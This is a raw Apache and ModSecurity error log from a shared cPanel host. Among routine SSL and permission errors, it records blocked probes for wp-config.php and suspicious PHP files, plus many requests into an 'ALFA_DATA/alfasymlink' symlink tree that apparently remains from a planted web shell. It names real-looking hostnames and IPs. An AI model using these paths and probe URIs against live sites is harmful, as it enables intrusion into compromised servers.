[Mon Oct 26 14:34:47.479180 2026] [security2:error] [pid 3074872:tid 3074872] [client 3.106.192.78:56761] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.well-known/pki-validation/wp-config.php"] [unique_id "at-dR1syD1ZSVE1PutLmLQAAAAQ"]
[Mon Oct 26 14:34:47.491362 2026] [security2:error] [pid 3074872:tid 3074872] [client 3.106.192.78:56761] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "at-dR1syD1ZSVE1PutLmLQAAAAQ"]
[Mon Oct 26 14:34:49.124812 2026] [security2:error] [pid 3074879:tid 3074879] [client 107.172.76.131:56021] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-dPYbyDoaPXEcrP3mz0AAAAA4"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 14:34:49.124887 2026] [security2:error] [pid 3074879:tid 3074879] [client 107.172.76.131:56021] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-dPYbyDoaPXEcrP3mz0AAAAA4"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 14:34:54.263603 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 44.206.93.215:41917] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:35:02.175021 2026] [core:error] [pid 3064909:tid 3064909] (13)Permission denied: [client 3.94.156.104:19364] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/tty1/subsystem/ttyS0/subsystem/ttyS1/xmit_fifo_size
[Mon Oct 26 14:35:05.366126 2026] [security2:error] [pid 3081138:tid 3081138] [client 3.106.192.78:49747] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/ioxi002.PhP7"] [unique_id "at-dWZiRfclVa6z-M6tThQAAAAo"]
[Mon Oct 26 14:35:05.366168 2026] [security2:error] [pid 3081138:tid 3081138] [client 3.106.192.78:49747] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/ioxi002.PhP7"] [unique_id "at-dWZiRfclVa6z-M6tThQAAAAo"]
[Mon Oct 26 14:35:06.486458 2026] [core:crit] [pid 3064916:tid 3064916] (13)Permission denied: [client 3.131.220.121:38580] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 14:35:10.208730 2026] [ssl:error] [pid 3079560:tid 3079560] (70014)End of file found: [client 54.204.12.115:57334] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:35:18.205637 2026] [core:error] [pid 3081088:tid 3081088] (13)Permission denied: [client 52.205.222.214:3820] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/slots/16/module/uevent
[Mon Oct 26 14:35:22.212925 2026] [ssl:error] [pid 3079560:tid 3079560] (70014)End of file found: [client 50.16.72.185:40213] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:35:26.279785 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 54.197.102.71:10640] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:35:29.286143 2026] [core:crit] [pid 3081138:tid 3081138] (13)Permission denied: [client 3.131.220.121:51730] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 14:35:34.218051 2026] [ssl:error] [pid 3081088:tid 3081088] (70014)End of file found: [client 54.92.171.106:16255] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:35:38.185816 2026] [ssl:error] [pid 3079560:tid 3079560] (70014)End of file found: [client 44.205.192.249:40508] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:35:42.160446 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 34.203.111.15:27127] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:35:46.185804 2026] [core:error] [pid 3065806:tid 3065806] (13)Permission denied: [client 34.205.170.13:22873] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty28/subsystem/ttyS1/line
[Mon Oct 26 14:35:50.161810 2026] [core:error] [pid 3081088:tid 3081088] (13)Permission denied: [client 18.209.201.119:28646] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/resource1
[Mon Oct 26 14:35:54.188163 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 100.24.149.244:48877] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:36:06.173391 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 54.235.125.129:35311] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:36:11.698190 2026] [core:crit] [pid 3077536:tid 3077536] (13)Permission denied: [client 3.131.220.121:46460] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 14:36:19.655298 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 185.191.171.19:59516] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_group/shrink
[Mon Oct 26 14:36:22.170885 2026] [core:error] [pid 3074873:tid 3074873] (13)Permission denied: [client 54.156.248.117:41067] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/8250_mid/bind
[Mon Oct 26 14:36:50.203199 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 35.153.86.200:4595] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:36:54.165890 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 3.215.221.125:13606] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:36:58.304254 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 44.213.36.21:46063] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:37:10.186150 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 52.45.15.233:36188] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:37:30.239251 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 54.225.148.123:32022] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/rom
[Mon Oct 26 14:37:34.041801 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 185.191.171.18:50224] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:37:42.213435 2026] [ssl:error] [pid 3074872:tid 3074872] (70014)End of file found: [client 3.230.224.6:26483] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:37:43.306233 2026] [security2:error] [pid 3064909:tid 3064909] [client 103.107.162.42:44238] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/search_and_click.php"] [unique_id "at-d93H-Y6Vcm97dx7AxKwAAAAs"], referer: https://parkeranders.com/
[Mon Oct 26 14:37:50.272028 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 52.203.237.170:24042] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:37:58.192405 2026] [ssl:error] [pid 3065806:tid 3065806] (5)Input/output error: [client 23.23.104.107:23689] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:38:06.331426 2026] [ssl:error] [pid 3074872:tid 3074872] (70014)End of file found: [client 44.218.170.184:47921] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:38:18.218145 2026] [ssl:error] [pid 3081088:tid 3081088] (70014)End of file found: [client 52.70.123.241:18639] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:38:34.231929 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 44.208.223.68:27572] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:38:42.192365 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 3.90.73.206:35767] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:38:50.504032 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 3.222.190.107:1221] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:39:06.366902 2026] [core:error] [pid 3081138:tid 3081138] (13)Permission denied: [client 107.22.208.39:21288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/PNP0303:00/physical_node1/wakeup/wakeup10/subsystem/wakeup3/device/physical_node/rescan
[Mon Oct 26 14:39:14.192563 2026] [ssl:error] [pid 3081088:tid 3081088] (70014)End of file found: [client 50.17.193.48:54090] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:39:22.340984 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 44.218.6.93:15035] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:39:26.179229 2026] [ssl:error] [pid 3081138:tid 3081138] (70014)End of file found: [client 54.85.109.140:25218] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:39:27.476062 2026] [security2:error] [pid 3079560:tid 3079560] [client 181.55.20.247:2678] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/scrapeok5.php"] [unique_id "at-eXx7tVIm23knyHD7xUwAAAAI"], referer: https://parkeranders.com/
[Mon Oct 26 14:39:42.156605 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 44.217.255.167:40150] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:39:46.207560 2026] [ssl:error] [pid 3079560:tid 3079560] (70014)End of file found: [client 3.222.85.38:35870] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:39:48.302334 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 185.191.171.3:22782] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:39:55.204362 2026] [authz_core:error] [pid 3064916:tid 3064916] [client 66.240.236.119:58710] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 14:39:58.169084 2026] [core:error] [pid 3064909:tid 3064909] (13)Permission denied: [client 23.21.119.232:37200] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/resource4_wc
[Mon Oct 26 14:40:00.660311 2026] [core:crit] [pid 3074873:tid 3074873] (13)Permission denied: [client 66.240.236.119:35308] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 14:40:01.051430 2026] [core:crit] [pid 3074872:tid 3074872] (13)Permission denied: [client 66.240.236.119:35538] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 14:40:02.183331 2026] [ssl:error] [pid 3081138:tid 3081138] (70014)End of file found: [client 44.221.180.179:58290] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:40:16.036855 2026] [core:crit] [pid 3074872:tid 3074872] (13)Permission denied: [client 66.240.236.119:44118] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 14:40:18.351046 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 52.6.232.201:29140] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:40:25.399213 2026] [ssl:error] [pid 3081088:tid 3081088] (70014)End of file found: [client 85.208.96.207:50882] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:40:30.527259 2026] [ssl:error] [pid 3082267:tid 3082267] (70014)End of file found: [client 18.207.89.138:23050] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:40:34.246295 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 98.80.130.239:11529] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:40:38.293636 2026] [ssl:error] [pid 3081138:tid 3081138] (70014)End of file found: [client 18.214.138.148:37804] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:40:42.388022 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 3.217.171.106:25257] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:40:46.236067 2026] [ssl:error] [pid 3081088:tid 3081088] (70014)End of file found: [client 35.168.238.50:7850] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:40:50.195246 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 3.213.85.234:8631] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:40:54.319025 2026] [security2:error] [pid 3082267:tid 3082267] [client 3.226.106.93:17119] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/event1/device/subsystem/event1/subsystem/input0/event0/power/"] [unique_id "at-etqN-CqYBkpJ-7I8AlQAAAAw"]
[Mon Oct 26 14:40:54.319073 2026] [security2:error] [pid 3082267:tid 3082267] [client 3.226.106.93:17119] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/event1/device/subsystem/event1/subsystem/input0/event0/power/"] [unique_id "at-etqN-CqYBkpJ-7I8AlQAAAAw"]
[Mon Oct 26 14:40:58.179750 2026] [ssl:error] [pid 3079560:tid 3079560] (70014)End of file found: [client 54.243.63.52:39535] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:41:30.156334 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 54.166.126.132:61327] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:41:34.299257 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 34.195.60.66:53805] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:41:46.148800 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 52.203.68.145:39530] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:42:02.165587 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 54.204.62.163:18283] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:42:06.168228 2026] [ssl:error] [pid 3064909:tid 3064909] (22)Invalid argument: [client 44.193.102.198:55353] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:42:14.260583 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 184.73.239.35:11705] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:42:30.152164 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 34.206.249.188:61510] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:42:50.234645 2026] [security2:error] [pid 3065806:tid 3065806] [client 54.164.106.236:33349] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXCPU:00/physical_node/driver/cpu0/node0/memory12/"] [unique_id "at-fKg7tQS1M73WECjKQewAAAAY"]
[Mon Oct 26 14:42:50.234697 2026] [security2:error] [pid 3065806:tid 3065806] [client 54.164.106.236:33349] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXCPU:00/physical_node/driver/cpu0/node0/memory12/"] [unique_id "at-fKg7tQS1M73WECjKQewAAAAY"]
[Mon Oct 26 14:43:02.191283 2026] [ssl:error] [pid 3081138:tid 3081138] (5)Input/output error: [client 52.54.15.103:50871] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:43:12.034390 2026] [core:error] [pid 3074872:tid 3074872] (13)Permission denied: [client 85.208.96.197:50474] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_emulator/slabs_cpu_partial
[Mon Oct 26 14:43:18.343590 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 3.222.85.38:9915] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:43:22.548935 2026] [ssl:error] [pid 3082267:tid 3082267] (70014)End of file found: [client 3.93.253.174:2702] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:43:34.258919 2026] [core:error] [pid 3065808:tid 3065808] (13)Permission denied: [client 18.208.11.93:34519] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:16/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/cpu1/crash_notes
[Mon Oct 26 14:43:38.186635 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 34.196.114.170:23103] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:43:57.364506 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:57.406193 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:57.447097 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:57.490582 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:57.532472 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:57.573606 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:57.614205 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:57.655804 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:57.697086 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:57.738498 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:57.780014 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:57.820937 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:57.861872 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:57.902886 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:57.943787 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:57.989423 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.031207 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.073138 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.114622 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.135498 2026] [security2:error] [pid 3082381:tid 3082381] [client 52.139.34.95:65492] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sesion2.sherwinpinturas.com"] [uri "/wp-filemanager1.php"] [unique_id "at-fbs0m493Zc8QU76th2QAAAA0"]
[Mon Oct 26 14:43:58.135558 2026] [security2:error] [pid 3082381:tid 3082381] [client 52.139.34.95:65492] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sesion2.sherwinpinturas.com"] [uri "/wp-filemanager1.php"] [unique_id "at-fbs0m493Zc8QU76th2QAAAA0"]
[Mon Oct 26 14:43:58.156593 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.198798 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.239660 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.289198 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.297261 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 3.230.69.161:33696] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:43:58.329941 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.370483 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.411582 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.452945 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.494201 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.535385 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.576495 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.616736 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.658122 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.699297 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.740263 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.780965 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.821588 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.862345 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.943545 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:58.985194 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:59.026760 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:59.070862 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:59.112349 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:59.153521 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:59.194652 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:59.247444 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:59.292485 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:59.333572 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:59.380818 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:59.421874 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:43:59.462979 2026] [proxy_fcgi:error] [pid 3074873:tid 3074873] [client 52.139.34.95:65416] AH01071: Got error 'Primary script unknown'
